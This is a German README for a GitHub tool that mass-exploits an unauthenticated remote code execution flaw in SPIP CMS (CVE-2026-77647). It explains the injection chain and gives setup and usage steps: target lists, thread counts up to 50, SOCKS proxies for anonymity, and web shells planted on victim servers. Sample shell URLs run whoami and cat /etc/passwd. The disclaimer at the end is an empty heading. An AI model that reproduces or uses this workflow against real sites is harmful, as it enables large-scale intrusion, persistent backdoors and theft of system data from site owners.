CVE-2026-77647

SPIP vor 4.4.20 ermöglicht nicht authentifizierten Remote-Angreifern die Ausführung beliebigen Codes

🔴 CVE-2026-77647 — SPIP Nicht authentifizierte Remote-Code-Ausführung

Pre-Authentication Remote Code Execution in SPIP CMS — Alle Versionen vor 4.4.20

---

📋 Überblick

CVE-2026-77647 ist eine kritische nicht authentifizierte Remote-Code-Ausführung (RCE)-Schwachstelle, die alle Versionen von SPIP CMS vor 4.4.20 betrifft.

Die Schwachstelle ermöglicht es einem Remote-Angreifer — ohne jegliche Authentifizierung oder Benutzerinteraktion — beliebigen PHP-Code auf dem Zielserver auszuführen. Sie wurde ab August 2026 aktiv in freier Wildbahn ausgenutzt, was das SPIP-Team zu einem Notfall-Patch veranlasste.

Dieses Tool automatisiert die Erkennung und Ausnutzung dieser Schwachstelle über mehrere Ziele hinweg mit konfigurierbarer Parallelität.

---

🛡️ Schwachstellendetails

Feld	Details
CVE-ID	CVE-2026-77647
Betroffene Software	SPIP CMS
Betroffene Versionen	Alle Versionen vor 4.4.20
Typ	Nicht authentifizierte Remote-Code-Ausführung (RCE)
CWE	CWE-94 — Unsachgemäße Kontrolle der Codegenerierung (Code-Injection)
CVSS 3.1 Score	9.8 / 10 — KRITISCH
CVSS-Vektor	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentifizierung	Keine erforderlich (Pre-Auth)
Ausnutzung	Aktiv in freier Wildbahn ausgenutzt (August 2026)
Patch	SPIP 4.4.20 (Advisory)

---

⚙️ CVSS 3.1 Aufschlüsselung

Metrik	Wert	Bedeutung
Angriffsvektor	Netzwerk	Remote über das Internet ausnutzbar
Angriffskomplexität	Niedrig	Keine besonderen Bedingungen erforderlich
Erforderliche Privilegien	Keine	Keine Authentifizierung erforderlich
Benutzerinteraktion	Keine	Keine Aktion des Opfers erforderlich
Scope	Unverändert	Auswirkung auf das verwundbare System beschränkt
Vertraulichkeit	Hoch	Vollständiger Lesezugriff auf alle Daten
Integrität	Hoch	Vollständiger Schreib-/Änderungszugriff
Verfügbarkeit	Hoch	Vollständige Dienstverweigerung möglich

---

🔬 Technische Analyse

Ursache

Die Schwachstelle resultiert aus zwei zusammenwirkenden Problemen in der SPIP-Template-Engine:

1. Fehlerhafte Identifizierung von <?php-Blöcken — Die Template-Engine von SPIP versäumt es, PHP-Öffnungstags innerhalb benutzergesteuerter Eingaben ordnungsgemäß zu bereinigen, insbesondere im Suchparameter (recherche).

2. Fehlerhafte Behandlung von var_export — Die PHP-Funktion var_export() behandelt bestimmte Randfälle fehlerhaft, insbesondere wenn die Eingabe das Zeichen < enthält, was die Einschleusung ausführbaren PHP-Codes ermöglicht.

Ausnutzungskette

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

Der Angreifer sendet eine manipulierte Payload über die SPIP-Suchfunktion (?page=recherche&recherche=PAYLOAD). Die Payload missbraucht den X-Spip-Filtre-HTTP-Header-Mechanismus, um html_entity_decode auszulösen, wodurch der injizierte PHP-Code dekodiert wird. Der dekodierte Code wird anschließend von der Template-Rendering-Engine von SPIP ausgewertet, was zur Ausführung beliebigen Codes führt.

Angriffsablauf

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Verwendung

Voraussetzungen

• Python 3.7+
• requests-Bibliothek

Installation

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Ziele vorbereiten

Erstellen Sie eine Datei namens list.txt (oder einen beliebigen eigenen Namen) mit einem Ziel pro Zeile:

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Hinweis: Ziele ohne Schema (http:// oder https://) verwenden standardmäßig http://.

Ausführen

python CVE-2026-77647.py

Interaktive Konfiguration

Das Tool fordert Sie auf, Folgendes einzugeben:

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

Geschwindigkeit	Threads	Timeout	Profil
1 — Langsam	5	25s	🔇 Stealth
2 — Normal	10	15s	⚖️ Ausgewogen
3 — Schnell	25	12s	⚡ Aggressiv
4 — Ultra	50	10s	🔥 Maximum

[?] Proxy (blank = none): socks5://127.0.0.1:9050

Unterstützt HTTP/HTTPS/SOCKS-Proxys zur Anonymisierung.

Ausgabe

Erfolgreiche Ergebnisse werden in shells.txt gespeichert:

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Shell-Zugriff

Befehlsausführung:

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Datei-Upload-Oberfläche:

https://target.com/Nx_.php?k=nXk

🎯 Funktionen

• 🔍 Automatische SPIP-Versionserkennung über den Composed-By-Header und Seiten-Fingerprinting
• 🛡️ Überspringen gepatchter Versionen — SPIP ≥ 4.4.20 wird automatisch übersprungen
• 📝 Dual-Shell-Bereitstellung — Shell zur Befehlsausführung + Shell für Datei-Upload
• 📂 Schreiben über mehrere Pfade — versucht Stammverzeichnis, IMG/, tmp/ und local/-Verzeichnisse
• ⚡ Multithread-Scanning — konfigurierbar mit 5 bis 50 gleichzeitigen Threads
• 🌐 Proxy-Unterstützung — Routing über HTTP-, HTTPS- und SOCKS-Proxys
• 📊 Echtzeit-Status — Live-Fortschritt mit farbcodierter Terminal-Ausgabe
• 💾 Automatisches Speichern der Ergebnisse — alle bestätigten Shells werden in der Ausgabedatei gespeichert

---

📚 Referenzen

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ Haftungsausschluss